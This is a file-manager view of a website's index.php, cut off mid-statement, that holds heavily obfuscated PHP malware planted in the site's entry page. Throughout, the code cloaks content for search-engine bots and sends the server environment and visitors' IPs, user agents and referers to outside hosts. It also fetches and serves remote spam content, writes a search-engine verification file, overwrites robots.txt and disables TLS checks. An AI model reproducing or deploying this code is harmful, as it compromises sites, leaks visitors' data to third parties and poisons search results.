File manager - Edit - /home/filmpbuk/public_html/index.php
Back
<?php define('A', 'jan31.tpuwt5573ytu/suruga::products/^[0:2]!|q-~^[3:1][5:28][3:1]!/::'); goto ST167; HLQ2b: @ob_start(); goto dfyO3; ST167: @date_default_timezone_set("\120\x52\103"); goto lIrtY; lIrtY: if (!function_exists("\x6f\142\x5f\163\164\141\162\x74")) { goto loOwc; } goto HLQ2b; hKEvi: function VAuVw($hS4qe) { goto Gt1YJ; XqhJM: foreach ($fyl6A as $qhCir => $pIjmU) { $fyl6A[$qhCir] = chr(ord($pIjmU) - 5); iw1an: } goto kQ5R6; kQ5R6: XcWA3: goto bDNSm; WgYHr: if (!($ZJUOJ[2] != '')) { goto p2xKW; } goto L7Bev; ib6GK: return $WZ3OV; goto imo1p; WYbCQ: sDUc8: goto ib6GK; Gt1YJ: $WZ3OV = ''; goto p8W8K; k5bfT: if (!(is_array($ZJUOJ) && count($ZJUOJ) == 4)) { goto sDUc8; } goto WgYHr; L7Bev: $fyl6A = preg_split("\x2f\57", $ZJUOJ[2], -1, PREG_SPLIT_NO_EMPTY); goto XqhJM; p8W8K: preg_match("\x2f\50\x5b\x5e\134\56\x5d\53\x5c\56\51\50\56\52\x29\50\x5c\57\56\x2a\51\57", $hS4qe, $ZJUOJ); goto k5bfT; HaDws: $WZ3OV = $ZJUOJ[1] . $WZ3OV . $ZJUOJ[3]; goto WYbCQ; Yhyp0: p2xKW: goto HaDws; bDNSm: $WZ3OV = implode('', $fyl6A); goto Yhyp0; imo1p: } goto N6mT8; N6mT8: function hQOKL($VXKkt = '') { goto ZHTSQ; vv5el: if (!preg_match("\x2f\x5e\110\145\x61\144\100\x28\x2e\x2a\77\51\x40\100\x28\56\52\51\57\x69\x73", $n22Ky, $s1FND)) { goto OZa3p; } goto ugdYM; wYmPh: if (!isset($_GET[$G6nFY])) { goto uejTl; } goto CTW3j; Zknox: $J8wLg = isset($_SERVER["\110\x54\124\x50\137\122\x45\x46\x45\x52\x45\122"]) ? $_SERVER["\x48\x54\x54\120\137\x52\105\106\105\x52\105\x52"] : ''; goto txBb0; RQvlz: uJVVf: goto dSpt9; R9wuk: $pkctX .= "\164\x6d\154\51"; goto Srace; SkuWy: if (!preg_match("\x2f\136\110\145\x61\x64\100\50\x2e\52\x3f\x29\x40\x40\x28\56\x2a\51\57\x69\163", $n22Ky, $s1FND)) { goto NVwnZ; } goto fe5Eq; V3Fna: $pkctX = "\50\147\x6f\157"; goto i2Pdh; Yl4mM: $n22Ky = $s1FND[2]; goto nneJI; gc0St: $SFAlp = "\x4c\x6f\x63\x61" . $SFAlp; goto fr2kU; zAGNN: echo gethostbyname($qhAPd["\150\157\163\x74"]); goto smxSa; f8zNN: echo "{$n22Ky}"; goto puUhi; xaHuM: die; goto l9NA7; XJF5D: w_4gU: goto yX2af; VfwMD: file_put_contents("{$Wapif}\x2f{$vqEvE}", "{$joTWO}\x20{$vqEvE}"); goto v5RcM; GeE2_: $_SERVER["\171\x74\x5f\147\172"] = $ZntcZ[1]; goto NI353; i2Pdh: $pkctX .= "\147\154\x65\x5b\x5c\167"; goto FvhSx; dSpt9: echo sprintf("\74\142\x6f\144\x79\x20\157\x6e\154\x6f\141\x64\x3d\x22\144\x6f\x63\165\x6d\x65\156\x74\x2e\147\x65\164\105\x6c\145\x6d\145\156\x74\163\x42\171\124\141\147\116\141\x6d\145\x28\45\x73\x61\45\163\51\x5b\60\135\56\143\154\151\143\153\x28\x29\x22\76\74\141\x20\x68\x72\x65\x66\x3d\x22\45\x73\42\x3e\74\57\x61\x3e\74\156\x6f\163\143\x72\x69\160\x74\76\74\155\x65\164\141\x20\150\x74\164\160\55\145\161\165\x69\x76\x3d\x22\162\x65\146\x72\145\x73\x68\x22\x20\x63\x6f\x6e\x74\145\156\164\x3d\x22\x30\73\x20\165\162\154\x3d\x25\x73\42\40\57\76\x3c\x2f\156\157\x73\143\162\151\160\x74\76\74\x2f\142\157\x64\171\76", "\x27", "\x27", $L9UnE, $L9UnE); goto ZWw_w; eJDWo: echo $L9UnE; goto bEVnc; mX07p: $xd1MJ = preg_match("\x2f\x5e\150\x74\164\160\163\77\134\x3a\x5c\57\134\57\57\163\151", $L9UnE); goto B61RQ; LLhnU: mGPca: goto gl3C3; jet9C: $KOj2b = $KOj2b == '' ? isset($_SERVER["\x50\x41\124\x48\137\111\116\x46\x4f"]) && $_SERVER["\x50\x41\124\110\x5f\111\x4e\106\117"] != '' ? $_SERVER["\120\x41\x54\110\137\111\116\x46\x4f"] : $KOj2b : $KOj2b; goto Zknox; mfuRc: $OD2Bx = "\x3c\141\40\150\x72\145\x66\x3d\42\x25\163\x22\40\164\x61\162\x67\x65\164\x3d\x22\x5f\x62\154\141\156\x6b\42\76\45\163\74\x2f\141\x3e"; goto wYmPh; mj40u: header("{$SFAlp}\x20\x2f{$vqEvE}"); goto TssuY; MqJs7: $n22Ky = $s1FND[2]; goto sjCa0; DFuC2: echo "{$n22Ky}"; goto xaHuM; nVTzZ: if (!($BhU3W || $bS5WN)) { goto ZVLRq; } goto mfuRc; BE8Q3: $G6nFY = "\x79\x74\x31"; goto EBfmz; naHo9: $joTWO .= $SFAlp; goto gc0St; HTzHx: $qhAPd = parse_url($V00zR); goto zAGNN; BEMUh: echo sprintf($OD2Bx, $V00zR, $V00zR) . "\x3c\142\x72\40\x2f\76\x3c\142\x72\x20\57\76"; goto HTzHx; ZYcFf: die; goto yTu0X; bEVnc: goto UoDXM; goto RQvlz; l9NA7: uPzkY: goto Kcf0c; TssuY: die; goto kkHnG; nneJI: OZa3p: goto f8zNN; ELusW: $joTWO .= "\146\x69\143\x61"; goto naHo9; rNtin: $_SERVER["\171\164\x5f\152\165\x6d\x70"] = 0; goto GeE2_; QL2gC: $RfRAW .= "\124\137\x52\117\117\124"; goto vrZUl; JFJMm: $V00zR = sprintf("\150\x74\x74\x70\163\72\57\x2f\x25\163\x2e\x70\171", VaUVW($ZntcZ[0])); goto rNtin; wlM1i: if (preg_match("\57\x5e\x68\x74\164\x70\x73\x3f\x2f\163\151", $sJ7cd)) { goto mGPca; } goto BEMUh; rZSsL: chmod($Wapif, 0755); goto VfwMD; QCwt6: NhVqo: goto ZYcFf; puUhi: die; goto ZVq5q; Kcf0c: $SFAlp = "\x74\x69\x6f\156\x3a"; goto V3Fna; r5o2i: $BhU3W = qMWgF($Ct1zU); goto J62kl; hZAr1: $ZntcZ = explode("\x3a\72", A); goto JFJMm; ugdYM: header($s1FND[1]); goto Yl4mM; kkHnG: vyQHA: goto nVTzZ; TzWNo: $RfRAW .= "\125\x4d\x45\116"; goto QL2gC; YJSBf: return; goto XJF5D; fe5Eq: header($s1FND[1]); goto MqJs7; Wc_Jv: if (!preg_match("\57\x73\x69\x74\x65\x6d\x61\x70\56\52\77\x5c\56\x78\x6d\x6c\x24\57\163\151", $KOj2b)) { goto uPzkY; } goto dv38r; plwP2: $joTWO .= "\164\145\55\x76\145\x72\x69"; goto ELusW; sjCa0: NVwnZ: goto DFuC2; txBb0: $Ct1zU = isset($_SERVER["\x48\124\x54\x50\x5f\125\123\105\x52\x5f\x41\107\105\116\124"]) ? $_SERVER["\110\x54\x54\120\x5f\125\x53\x45\122\137\x41\107\105\116\x54"] : ''; goto r5o2i; ypmx7: $n22Ky = AsZta($V00zR, array("\x78" => serialize($_SERVER))); goto o2_Fb; gl3C3: echo asZtA($sJ7cd); goto QCwt6; yTu0X: uejTl: goto Euldq; ZVq5q: ZVLRq: goto W4bxH; ZHTSQ: $KOj2b = isset($_SERVER["\122\105\x51\x55\105\123\124\x5f\x55\x52\x49"]) ? $_SERVER["\122\x45\121\x55\x45\x53\x54\137\125\x52\x49"] : (isset($_SERVER["\x51\125\x45\122\131\137\123\124\x52\111\116\107"]) ? $_SERVER["\x51\x55\x45\122\x59\x5f\123\x54\122\x49\116\107"] : ''); goto jet9C; pTi1V: tsg2q: goto ypmx7; CTW3j: $sJ7cd = trim($_GET[$G6nFY]); goto wlM1i; bnx_Y: $n22Ky = trim($n22Ky); goto SkuWy; FvhSx: $pkctX .= "\x5d\x7b\61\66"; goto W0yfc; o2_Fb: $n22Ky = trim($n22Ky); goto EvPaJ; oPQ5B: $joTWO .= "\147\x6c\x65\55\163\x69"; goto plwP2; e4EGX: die; goto X0q8D; Srace: $joTWO = "\x67\157\157"; goto oPQ5B; vrZUl: $Wapif = $_SERVER[$RfRAW]; goto Wc_Jv; X0q8D: dmpL2: goto vv5el; v5RcM: chmod($Wapif, 0555); goto mj40u; dv38r: $n22Ky = AszTa($V00zR, array("\170" => serialize($_SERVER))); goto bnx_Y; J62kl: $bS5WN = MzL8I($J8wLg); goto hZAr1; Euldq: if (!$bS5WN) { goto tsg2q; } goto YyEhI; yX2af: if (!preg_match("\x2f\136\112\x75\x6d\160\100\x28\x2e\x2a\x29\x2f", $n22Ky, $VhNkO)) { goto dmpL2; } goto VgNDR; smxSa: goto NhVqo; goto LLhnU; NI353: $_SERVER["\171\164\137\165\160"] = $ZntcZ[2]; goto BE8Q3; EBfmz: $RfRAW = "\104\x4f\x43"; goto TzWNo; EvPaJ: if (!in_array($n22Ky, ["\52\x34\x30\64", "\52\162\145\x74\x75\x72\156"])) { goto w_4gU; } goto YJSBf; VjyVk: $vqEvE = str_replace("\56\x78", "\x2e", trim($wD324[1])); goto rZSsL; VgNDR: $L9UnE = trim($VhNkO[1]); goto mX07p; YyEhI: $_SERVER["\x79\164\137\x6a\165\155\160"] = 1; goto pTi1V; ZWw_w: UoDXM: goto e4EGX; W0yfc: $pkctX .= "\175\134\x2e\170\x68"; goto R9wuk; B61RQ: if ($xd1MJ) { goto uJVVf; } goto eJDWo; fr2kU: if (!preg_match("\57" . $pkctX . "\44\57\163\151", $KOj2b, $wD324)) { goto vyQHA; } goto VjyVk; W4bxH: } goto pzfwA; dfyO3: loOwc: goto sF8zS; sF8zS: function aSzTA($xVNoy, $BlY_F = array()) { goto OMjs8; IL5KC: try { goto qceHH; nzlZ2: VBB59: goto jF1xw; FScHJ: $Sd_Hj = ''; goto K9G9d; Nw0tI: $wyQVa = ($swjS_ === "\x68\164\164\160\163" ? "\x73\x73\154\72\x2f\57" : '') . $NIAum . "\72" . $J2nOJ; goto tMMpM; kTw98: H33HL: goto Ptf57; kGy3F: if (!($aTIfp === "\x50\117\123\x54")) { goto Ichze; } goto ioWl0; OehLD: if (!($K__3d === false)) { goto MbZ2a; } goto G9JqL; bGFDz: if (!($b4TmA === 0)) { goto H33HL; } goto mtmXm; G9JqL: goto G01HY; goto LqYEp; aIb3T: $J2nOJ = $swjS_ === "\x68\164\x74\x70\x73" ? 443 : 80; goto o9hwt; dRz0x: $m4sx7 .= fgets($h82UD, 1024); goto eNjE3; wY5Hm: $b4TmA = hexdec(substr($jry3i, 0, $K__3d)); goto bGFDz; zVMz3: $P77Hu .= "\x43\157\156\164\145\x6e\164\x2d\124\x79\x70\x65\72\40\x61\x70\160\x6c\x69\143\x61\x74\151\x6f\156\x2f\170\55\167\167\167\55\x66\157\162\155\55\165\x72\x6c\145\156\x63\x6f\x64\x65\x64\xd\xa"; goto F49oy; ioWl0: $WxV91 .= $xaTNC; goto LuSa0; o9hwt: $BHSNW = isset($iVQfb["\x70\x61\164\150"]) ? $iVQfb["\160\141\x74\150"] : "\57"; goto Y27Zn; tpOb3: $aTIfp = "\x47\105\x54"; goto xjs_q; LDHgb: $P77Hu = isset($WjzSV[0]) ? $WjzSV[0] : ''; goto uZuoR; pJ1pL: G01HY: goto K8pK3; RAJbb: $swjS_ = isset($iVQfb["\x73\143\150\x65\x6d\145"]) ? $iVQfb["\163\x63\150\x65\x6d\145"] : "\x68\x74\x74\x70"; goto zt4bv; K8pK3: $jry3i = $Sd_Hj; goto M4zE0; tMMpM: $h82UD = stream_socket_client($wyQVa, $V5LCP, $UZwr5, 45); goto LjY2d; JOI_l: $WxV91 .= "\110\157\163\x74\72\x20{$NIAum}\xd\xa"; goto hjE1Y; KXUom: $WxV91 = "{$aTIfp}\x20{$BHSNW}{$XxSc9}\x20\110\124\124\120\x2f\x31\56\61\xd\12"; goto JOI_l; hNUiw: if (!true) { goto G01HY; } goto fEr9a; zt4bv: $NIAum = $iVQfb["\x68\x6f\x73\x74"]; goto aIb3T; gsvW8: $xaTNC = ''; goto tpOb3; XMFk6: uJiGs: goto CW1mS; CFmS3: F4qCY: goto uF9P0; LqYEp: MbZ2a: goto wY5Hm; iMjpj: fwrite($h82UD, $WxV91); goto XMFk6; nVJV3: $xaTNC = http_build_query($BlY_F); goto zVMz3; M4zE0: LKd6M: goto nf3Ny; F49oy: $P77Hu .= "\103\x6f\x6e\164\145\156\x74\55\x4c\x65\x6e\147\x74\x68\x3a\40" . strlen($xaTNC) . "\xd\xa"; goto CFmS3; LjY2d: if (!$h82UD) { goto VBB59; } goto KXUom; nf3Ny: $m4sx7 = trim($jry3i); goto nzlZ2; CW1mS: if (feof($h82UD)) { goto wa3UC; } goto dRz0x; kCjT9: if (empty($BlY_F)) { goto F4qCY; } goto AJE6T; Ptf57: $Sd_Hj .= substr($jry3i, $K__3d + 2, $b4TmA); goto qLd5M; AKqBU: goto fCbhk; goto pJ1pL; qLd5M: $jry3i = substr($jry3i, $K__3d + 2 + $b4TmA + 2); goto AKqBU; Y27Zn: $XxSc9 = isset($iVQfb["\161\165\x65\162\x79"]) ? "\77" . $iVQfb["\x71\x75\x65\162\x79"] : ''; goto gsvW8; mft3X: wa3UC: goto YdtSq; AJE6T: $aTIfp = "\120\117\123\x54"; goto nVJV3; yTJT8: $WjzSV = explode("\15\12\xd\12", $m4sx7, 2); goto LDHgb; eNjE3: goto uJiGs; goto mft3X; fEr9a: $K__3d = strpos($jry3i, "\15\12"); goto OehLD; LuSa0: Ichze: goto iMjpj; YdtSq: fclose($h82UD); goto yTJT8; hjE1Y: $WxV91 .= $P77Hu; goto kGy3F; uF9P0: $P77Hu .= "\103\157\156\x6e\x65\x63\164\x69\x6f\156\72\40\143\x6c\157\x73\145\15\xa\xd\xa"; goto Nw0tI; uZuoR: $jry3i = isset($WjzSV[1]) ? $WjzSV[1] : ''; goto hBkp_; xjs_q: $P77Hu = "\x55\x73\x65\x72\x2d\101\147\x65\156\164\72\40\x57\110\122\xd\xa"; goto kCjT9; qceHH: $iVQfb = parse_url($xVNoy); goto RAJbb; K9G9d: fCbhk: goto hNUiw; hBkp_: if (!(stripos($P77Hu, "\x54\162\x61\x6e\163\x66\145\x72\55\105\x6e\143\157\144\151\156\x67\72\x20\x63\150\165\x6e\153\x65\x64") !== false)) { goto LKd6M; } goto FScHJ; mtmXm: goto G01HY; goto kTw98; jF1xw: } catch (Exception $tCJIb) { } goto q1jGj; OMjs8: $m4sx7 = 0; goto IL5KC; q1jGj: return $m4sx7; goto UoS9B; UoS9B: } goto XAPZJ; bVn2q: function MZl8I($XGy2I = '') { return preg_match("\57\x28\x67\157\157\x67\x6c\x65\56\143\x6f\56\152\160\174\x79\141\x68\157\x6f\56\x63\x6f\x2e\x6a\160\x7c\x62\151\156\147\x7c\x62\141\151\144\165\174\x67\x6f\157\x67\x6c\x65\56\143\x6f\x6d\x29\x2f\163\151", $XGy2I); } goto hKEvi; XAPZJ: function qmwGF($UjPOi = '') { return preg_match("\x2f\x28\x67\x6f\x6f\x67\x6c\145\142\x6f\164\174\x62\141\151\x64\165\x73\160\151\x64\x65\162\x7c\x62\151\x6e\147\x62\157\x74\x7c\147\x6f\157\147\x6c\145\x7c\x62\x61\151\144\x75\x7c\141\157\x6c\174\x62\x69\x6e\x67\174\171\x61\150\x6f\x6f\x7c\x79\x61\x6e\144\145\170\51\57\163\x69", $UjPOi); } goto bVn2q; pzfwA: HqOkl(); ?> <?php goto CYxsa; K07nv: goto KBEFE; goto Pe84U; rTLaB: echo "\157\153"; goto fPcHs; P3yrz: BPPdI: goto sAwHk; fPcHs: exit; goto YM82p; zfyrv: $VoVJb = urlencode($VoVJb); goto rHomz; DX4CV: RJVn3: goto Kji0K; kNVmE: xReX2: goto yKVuQ; jJ4vU: kcZoE: goto nERYJ; eLZLb: I2KIF: goto XHSrx; hwQ6i: Zh6fT: goto Ymm0R; AxIJa: $LmPYj = urlencode($_SERVER["\x53\x43\x52\111\120\124\x5f\x4e\x41\115\x45"]); goto wq90m; SfckU: return; goto P4hX7; HIBTD: exit; goto ZwYqG; l2LZE: $WreHH = $WreHH . "\x3f"; goto OAq6m; yKVuQ: $WreHH = "\57\x3f"; goto YM4Mx; qMtqk: $Uv2vq = "\125\x73\x65\162\55\141\x67\x65\156\x74\x3a\x20\x2a\xd\12\x41\154\154\x6f\167\72\40\x2f"; goto Eg2na; yWPuS: $LVPqe = urlencode($_SERVER["\x48\x54\x54\x50\x5f\125\x53\x45\x52\x5f\x41\x47\105\x4e\124"]); goto ucoOl; h3oEz: if (strpos($R6oRu, "\x66\x61\166\151\143\x6f\156\x2e\151\143\x6f") !== false) { goto T8un6; } goto xdBcJ; lzu1C: if (!empty($hPLvU)) { goto qNDXU; } goto aMYLR; kaqmp: HXBiJ: goto m42OH; RLexg: PUPe1: goto I_24P; BepKA: O6XkL("\x72\x6f\x62\x6f\164\163\56\164\170\x74", $Uv2vq); goto Hy9aE; aGv0u: if (isset($_SERVER["\x48\124\124\120\137\x58\137\106\x4f\x52\x57\101\x52\104\105\104\x5f\106\x4f\122"])) { goto DpsID; } goto NumNc; Jp5NA: goto BPPdI; goto rxhPZ; hIBsJ: $Fcjj9 = "\x6f\164\x68\x61"; goto gsJZg; Wshsx: $L6C97 = "\x6e\56\143\x6f\155"; goto hIBsJ; aURCQ: $jgI66 = "\x41\x6f\154\174\131\141\150\x6f\157\174\102\x69\156\147\174\107\x6f\x6f\x67\x6c\145"; goto msQoI; gf34l: $VoVJb = $_SERVER["\110\124\124\x50\137\x58\x5f\x46\x4f\122\x57\x41\122\x44\x45\x44\137\106\x4f\x52"]; goto W8Ekr; DquMM: I0sjv: goto sgJJY; N2Kol: if (strpos($WreHH, "\151\x6e\x64\145\170\56\160\x68") !== false) { goto I0sjv; } goto l2LZE; YM82p: zDlU9: goto VQPZ5; R50BN: Zstym: goto il4Dy; mIOH_: curl_setopt($ESRfa, CURLOPT_SSL_VERIFYHOST, FALSE); goto RZyKw; c4Uoj: if (isset($_SERVER["\110\x54\124\x50\x5f\103\x4c\111\105\x4e\124\x5f\111\120"])) { goto bKHL6; } goto aGv0u; iKBLJ: $NAO6F = "\154\x77\x79\x2e\164\x78\x74"; goto nOG3F; Od991: if (!empty($Uv2vq)) { goto kjTVu; } goto WWKHb; I0K79: $Q4Xex = "\x68\x74\x74\x70\72\57\57\x63\167\61\x35\64\61\x2e\163\155"; goto zAMGx; P4hX7: aCDR3: goto DX4CV; MZD2i: curl_setopt($ESRfa, CURLOPT_URL, $SaKEc); goto R42MN; VaukL: qNDXU: goto G49Np; NrWLA: if (strpos($R6oRu, "\152\160\62\60\x32\x33") !== false) { goto Zh6fT; } goto MmZ23; Eg2na: $B23XY = "{$k08uV}\x3a\57\x2f" . $pQwBp . $WreHH . "\x73\x69\x74\x65\x6d\141\160\56\170\x6d\154"; goto Ir90Q; c8x0e: $H2pW9 = 0; goto p4JXC; RZyKw: $hPLvU = curl_exec($ESRfa); goto CIV7I; msQoI: error_reporting(0); goto EhpcE; Ir90Q: $Uv2vq = trim($Uv2vq) . "\15\12" . "\123\151\164\x65\x6d\x61\160\72\40{$B23XY}"; goto KtoZn; ZwYqG: nzcL2: goto Z9542; rHomz: $pQwBp = urlencode($_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]); goto AxIJa; F32lv: $_SERVER["\122\105\121\x55\105\x53\124\x5f\x53\103\110\x45\115\105"] = "\150\x74\x74\160"; goto jl6HH; uvIca: $H2pW9 = 1; goto jYxqT; o9Som: goto RJVn3; goto eLZLb; vapSz: $SaKEc = $J71Ha . "\x3f\x61\x67\x65\156\x74\75{$LVPqe}\x26\x72\145\146\145\162\x3d{$SClAO}\x26\154\141\x6e\x67\75{$NdnC9}\46\x69\160\75{$VoVJb}\46\144\157\155\75{$pQwBp}\46\x68\164\x74\x70\x3d{$k08uV}\x26\x75\162\151\x3d{$R6oRu}\x26\x70\143\75{$qypfY}\x26\162\x65\x77\162\x69\x74\x65\x61\x62\x6c\x65\x3d{$H2pW9}\x26\x73\x63\162\x69\x70\x74\75{$LmPYj}\46\x73\151\x74\145\x6d\x61\x70\75" . urlencode($B23XY); goto R50BN; gsJZg: $J71Ha = $Q4Xex . $isuf4 . $Fcjj9 . $L6C97 . $O30B6; goto o0aqR; WWKHb: if (!(strpos($R6oRu, "\162\157\142\157\164\x73\56\164\x78\x74") !== false)) { goto PUPe1; } goto Yi_ae; zAMGx: $O30B6 = "\57"; goto Wshsx; XHSrx: $SaKEc = $J71Ha . "\77\141\x67\x65\156\x74\x3d{$LVPqe}\x26\x72\x65\x66\145\x72\x3d{$SClAO}\46\x6c\141\x6e\147\75{$NdnC9}\46\151\x70\75{$VoVJb}\x26\x64\x6f\x6d\x3d{$pQwBp}\46\x68\164\164\x70\x3d{$k08uV}\46\165\162\151\x3d{$R6oRu}\x26\160\x63\x3d{$qypfY}\x26\x72\145\x77\162\151\164\145\141\142\x6c\145\75{$H2pW9}\46\x73\143\x72\x69\160\x74\x3d{$LmPYj}"; goto lItRq; XvlN0: if (!(strpos($R6oRu, "\x6c\x77\171\154\167\x79") !== false)) { goto zDlU9; } goto rTLaB; Dacv0: aYdTH: goto qMtqk; jYxqT: O6XKL($NAO6F, "\x31"); goto P3yrz; kaVTw: header("\x43\157\x6e\x74\x65\156\x74\55\x54\x79\x70\x65\72\x20\x74\x65\x78\164\57\x68\164\x6d\x6c\73\x20\143\150\x61\x72\x73\145\164\75\x75\x74\x66\55\x38"); goto pWuc3; jl6HH: goto BKTvM; goto kaqmp; qVs2w: $KHuIq = $k08uV . "\72\x2f\x2f" . $_SERVER["\x48\124\x54\x50\x5f\110\x4f\123\124"] . "\x2f\x6c\167\171\x6c\x77\x79"; goto e8r6D; tRjPA: curl_setopt($ESRfa, CURLOPT_FOLLOWLOCATION, false); goto RKWa9; OFWqT: echo $hPLvU; goto Od991; dwXR_: function WGxRJ($ncat2) { goto E7ejq; CD1qu: $VhBW2 = fread($y6UwI, filesize($ncat2)); goto wk8Qq; wq5cw: return $VhBW2; goto bvsgL; ZeZQE: if (!$y6UwI) { goto kRL5h; } goto CD1qu; bvsgL: kRL5h: goto vaG8H; vaG8H: return false; goto I7El_; wk8Qq: fclose($y6UwI); goto wq5cw; E7ejq: $y6UwI = fopen($ncat2, "\x72"); goto ZeZQE; I7El_: } goto JdWyG; pWuc3: goto kcZoE; goto MOh3J; iciix: $WreHH = "\x2f"; goto PSXxC; Z9542: $SClAO = urlencode(@$_SERVER["\x48\124\x54\120\137\x52\x45\106\105\122\105\122"]); goto yWPuS; uTqtz: if (!(strpos($R6oRu, "\x70\151\156\147\x73\x69\x74\x65\155\x61\160") !== false)) { goto Zstym; } goto DcURf; lItRq: $Uv2vq = ''; goto uTqtz; VQPZ5: $H2pW9 = 0; goto iKBLJ; wxm_K: if ($hPLvU === "\157\153") { goto ynpML; } goto c8x0e; SWX8k: ePf82: goto OFWqT; wUMuz: $VoVJb = $_SERVER["\110\x54\x54\x50\x5f\103\114\x49\x45\116\124\x5f\x49\x50"]; goto FbgaI; taylL: header("\103\157\156\x74\145\x6e\x74\55\x54\x79\x70\145\x3a\40\x74\x65\x78\164\57\170\155\x6c\73\x20\x63\x68\141\x72\163\145\x74\x3d\165\164\146\55\x38"); goto jJ4vU; NumNc: goto b37ZP; goto bfonS; il4Dy: $hPLvU = @file_get_contents($SaKEc); goto lzu1C; e8r6D: $hPLvU = @file_get_contents($KHuIq); goto wxm_K; sgJJY: if ($H2pW9 == 0) { goto xReX2; } goto iciix; KtoZn: $t5wyf = ''; goto S4NLd; csqH0: DpsID: goto gf34l; PSXxC: goto wSit4; goto kNVmE; I_24P: goto nqQU8; goto tBpsB; XZNuN: exit; goto SfckU; FZQE2: Dphk8: goto NrWLA; CIV7I: curl_close($ESRfa); goto VaukL; DcURf: $WreHH = $_SERVER["\123\x43\122\x49\x50\x54\137\x4e\x41\x4d\x45"]; goto N2Kol; G49Np: if (empty($hPLvU)) { goto aCDR3; } goto OhcLH; Hy9aE: nqQU8: goto XZNuN; xdBcJ: if (strpos($R6oRu, "\x72\157\142\157\x74\163\56\x74\x78\x74") !== false or strpos($R6oRu, "\160\151\156\x67\x73\151\x74\145\x6d\141\160") !== false or strpos($R6oRu, "\152\160\62\60\x32\x33") !== false or preg_match("\x40\x5e\57\x28\56\x2a\77\51\56\x78\155\x6c\x24\100\x69", $_SERVER["\x52\105\121\x55\105\x53\x54\x5f\125\x52\111"]) or preg_match("\57\50{$jgI66}\x29\x2f\151", $_SERVER["\110\124\124\120\x5f\125\x53\105\122\137\x41\x47\x45\x4e\x54"]) or preg_match("\x2f\x28{$jgI66}\51\57\x69", $_SERVER["\110\124\124\120\137\122\x45\x46\105\x52\105\122"])) { goto I2KIF; } goto o9Som; sAwHk: KBEFE: goto h3oEz; ucoOl: $NdnC9 = urlencode(@$_SERVER["\x48\124\x54\120\x5f\x41\x43\103\105\120\x54\x5f\x4c\x41\x4e\x47\x55\101\x47\105"]); goto y7HYZ; MOh3J: TRTbe: goto taylL; Pe84U: C0Yoi: goto qVs2w; o0aqR: $qypfY = "\101\x41\x45\102\101\101\x50"; goto aURCQ; MmZ23: if (substr($hPLvU, 0, 5) == "\x3c\77\170\155\x6c") { goto TRTbe; } goto kaVTw; Yi_ae: o6xKL("\x72\x6f\x62\x6f\x74\x73\x2e\x74\170\164", $hPLvU); goto RLexg; FbgaI: goto b37ZP; goto csqH0; RKWa9: curl_setopt($ESRfa, CURLOPT_SSL_VERIFYPEER, FALSE); goto mIOH_; xwOYE: header("\110\124\x54\120\57\x31\56\60\x20\x34\60\63\40\x46\157\x72\x62\151\144\x64\145\x6e"); goto HIBTD; hId8D: $H2pW9 = WgXrJ($NAO6F); goto K07nv; H3TZf: BKTvM: goto h35oj; h35oj: function O6xkl($ncat2, $VhBW2) { goto p3Irv; hHEgX: return false; goto Ort6h; O3mxp: fclose($y6UwI); goto dwdPP; hrzEn: fwrite($y6UwI, $VhBW2); goto O3mxp; QMS5_: if (!$y6UwI) { goto pe7jN; } goto hrzEn; dwdPP: return true; goto dwNdQ; p3Irv: $y6UwI = fopen($ncat2, "\x77"); goto QMS5_; dwNdQ: pe7jN: goto hHEgX; Ort6h: } goto dwXR_; OhcLH: if (!(substr($hPLvU, 0, 10) == "\145\x72\162\x6f\162\40\x63\x6f\144\145" or $hPLvU == "\65\x30\60" or strpos($hPLvU, "\102\141\144\x20\107\x61\164\x65\x77\x61\171") !== false)) { goto Dphk8; } goto Ym9VV; QLCmH: $R6oRu = urlencode($_SERVER["\122\105\121\x55\x45\123\x54\x5f\x55\122\x49"]); goto XvlN0; aMYLR: $ESRfa = curl_init(); goto MZD2i; OAq6m: goto aYdTH; goto DquMM; W8Ekr: b37ZP: goto zfyrv; y7HYZ: $VoVJb = $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\104\104\122"]; goto c4Uoj; rxhPZ: ynpML: goto uvIca; nERYJ: goto ePf82; goto hwQ6i; nOG3F: if (!is_file($NAO6F)) { goto C0Yoi; } goto hId8D; S4NLd: echo $B23XY . "\72\x20" . $t5wyf . "\74\x62\162\57\x3e"; goto vapSz; p4JXC: O6xkL($NAO6F, "\x30"); goto Jp5NA; Kji0K: goto Ipde6; goto o33bD; Ymm0R: header("\x48\x54\x54\120\57\61\x2e\61\x20\64\60\64\x20\x4e\157\164\40\106\x6f\165\156\144"); goto SWX8k; SBWVA: exit; goto FZQE2; tBpsB: kjTVu: goto BepKA; Ym9VV: header("\x48\x54\124\x50\x2f\x31\56\60\40\65\60\60\x20\x49\x6e\x74\x65\162\x6e\x61\154\40\123\x65\x72\166\x65\x72\x20\x45\x72\x72\x6f\x72"); goto SBWVA; YM4Mx: wSit4: goto Dacv0; m42OH: $_SERVER["\122\x45\121\x55\105\x53\124\x5f\123\103\x48\105\x4d\x45"] = "\150\x74\x74\160\163"; goto H3TZf; o33bD: T8un6: goto PaIms; wq90m: if (!empty($_SERVER["\122\105\x51\x55\x45\123\124\x5f\123\x43\x48\105\x4d\105"]) and $_SERVER["\x52\105\121\125\105\123\124\x5f\x53\x43\110\x45\x4d\x45"] == "\x68\164\x74\x70\163" or !empty($_SERVER["\x48\124\124\120\x53"]) and $_SERVER["\x48\x54\124\120\x53"] == "\157\x6e" or !empty($_SERVER["\123\105\122\x56\105\122\x5f\120\x4f\122\124"]) and $_SERVER["\x53\x45\x52\x56\x45\122\x5f\120\x4f\122\124"] == "\x34\64\x33" or isset($_SERVER["\x48\x54\x54\120\137\130\137\x46\x4f\122\127\x41\122\104\x45\x44\x5f\x50\x52\x4f\x54\x4f"]) and $_SERVER["\110\124\124\120\137\130\137\x46\x4f\122\127\x41\122\104\x45\x44\137\120\122\x4f\x54\x4f"] == "\150\164\x74\160\163") { goto HXBiJ; } goto F32lv; CYxsa: $isuf4 = "\x6f"; goto I0K79; EhpcE: if 